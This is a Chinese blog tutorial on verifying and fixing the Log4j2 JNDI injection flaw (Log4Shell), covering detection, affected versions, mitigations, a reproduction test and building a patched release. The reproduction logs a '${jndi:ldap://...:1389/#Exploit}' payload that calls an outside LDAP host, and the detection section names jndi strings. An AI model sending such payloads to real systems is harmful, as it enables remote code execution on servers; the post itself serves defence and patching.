log4j关于JNDI注入漏洞验证及修复

log4j关于JNDI注入漏洞验证及修复

  • 一、漏洞说明
  • 二、漏洞检测方案
  • 三、影响范围
  • 四、影响组件
  • 五、彻底解决方案(附升级包下载地址)
  • 六、临时缓解方案
  • 七、漏洞复现
  • 八、本地编译log4j-2.15.0-rc版本方法
    • 1、下载源码
    • 2、安装JDK8、9、11。
    • 3、用idea打开源码
    • 4、修改toolchains-sample-win.xml文件的JDK安装路径
    • 5、修改maven的conf目录下的toolchains.xml文件,设置java11的安装路径
    • 6、编译安装到本地仓库

一、漏洞说明

漏洞原理官方表述:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。

二、漏洞检测方案

1、通过流量监测设备监控是否有相关 DNSLog 域名的请求
2、通过监测相关日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。

三、影响范围

Apache log4j2 >= 2.0, <= 2.14.1

四、影响组件

Apache Struts2
Apache Solr
Apache Druid
Apache Flink
Apache Flume
Apache Dubbo
Apache Kafka
Sping-boot-strater-loj2
ElasticSearch
Redis
Logstash

五、彻底解决方案(附升级包下载地址)

目前rc1版本已被绕过,建议使用如下官方临时补丁进行修复,升级至log4j-2.15.0-rc2;

升级包下载:log4j-2.15.0-rc2.zip

六、临时缓解方案

1、 禁止没有必要的业务访问外网。
2、设置jvm参数

“-Dlog4j2.formatMsgNoLookups=true”

3、设置

“log4j2.formatMsgNoLookups=True”

4、系统环境变量

“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”

七、漏洞复现

1、新建maven工程
2、pom文件内容如下


<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0modelVersion>
    <groupId>org.examplegroupId>
    <artifactId>log4j-testartifactId>
    <version>1.0-SNAPSHOTversion>

    <properties>
        <maven.compiler.source>1.8maven.compiler.source>
        <maven.compiler.target>1.8maven.compiler.target>
        <log4j.version>2.14.1log4j.version>
    properties>

    <dependencies>

        <dependency>
            <groupId>org.apache.logging.log4jgroupId>
            <artifactId>log4j-apiartifactId>
            <version>${log4j.version}version>
            <scope>compilescope>
        dependency>

        <dependency>
            <groupId>org.apache.logging.log4jgroupId>
            <artifactId>log4j-coreartifactId>
            <version>${log4j.version}version>
            <scope>compilescope>
            <exclusions>
                <exclusion>
                    <groupId>org.apache.logging.log4jgroupId>
                    <artifactId>log4j-apiartifactId>
                exclusion>
            exclusions>
        dependency>


        <dependency>
            <groupId>junitgroupId>
            <artifactId>junitartifactId>
            <version>RELEASEversion>
            <scope>testscope>
        dependency>
    dependencies>

project>

3、新建测试类

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.junit.Test;

import java.io.IOException;

public class Log4jTest {


    private static final Logger log = LogManager.getLogger();

    @Test
    public void test() throws IOException {
        log.error("${jndi:ldap://172.18.1.1:1389/#Exploit}");
        log.error("${}", "jndi:ldap://172.18.1.1:1389/#Exploit");
    }
}

4、启动wireshare,下载地址:https://2.na.dl.wireshark.org/win64/Wireshark-win64-3.6.0.exe
若存在漏洞,则将捕获到如下信息。如果不存在漏洞,而无信息。
log4j关于JNDI注入漏洞验证及修复_第1张图片

八、本地编译log4j-2.15.0-rc版本方法

1、下载源码

https://github.com/apache/logging-log4j2/archive/refs/tags/log4j-2.15.0-rc2.zip

2、安装JDK8、9、11。

注意:要3个都装上,并且当前使用的JDK要设置成Java8,可以执行java -versionjavac -version验证一下。

我开始只装了8,不成功,提示需要9,然后后来装了9,还是不行,提示还需要11,最后装了11才在JDK环境上

3、用idea打开源码

4、修改toolchains-sample-win.xml文件的JDK安装路径



<toolchains>
  
  
  <toolchain>
    <type>jdktype>
    <provides>
      <version>1.8version>
      <vendor>sunvendor>
    provides>
    <configuration>
      <jdkHome>D:\Program Files\Java\jdk1.8.0_301jdkHome>
    configuration>
  toolchain>
  <toolchain>
    <type>jdktype>
    <provides>
      <version>9version>
      <vendor>sunvendor>
    provides>
    <configuration>
      <jdkHome>D:\Program Files\Java\jdk-9.0.4jdkHome>
    configuration>
  toolchain>
  <toolchain>
    <type>jdktype>
    <provides>
      <version>11version>
      <vendor>oraclevendor>
    provides>
    <configuration>
      <jdkHome>D:\Program Files\Java\jdk-11.0.13jdkHome>
    configuration>
  toolchain>

  
toolchains>

5、修改maven的conf目录下的toolchains.xml文件,设置java11的安装路径






<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">

  
  <toolchain>
    <type>jdktype>
    <provides>
      <version>11version>
      <vendor>oraclevendor>
    provides>
    <configuration>
      <jdkHome>D:\Program Files\Java\jdk-11.0.13jdkHome>
    configuration>
  toolchain>
toolchains>

6、编译安装到本地仓库

执行mvn clean install -t ./toolchains-sample-win.xml -Dmaven.test.skip=true -f pom.xml编译和安装到本地仓库。

你可能感兴趣的:(Java,安全,apache,服务器,log4j,log4j2)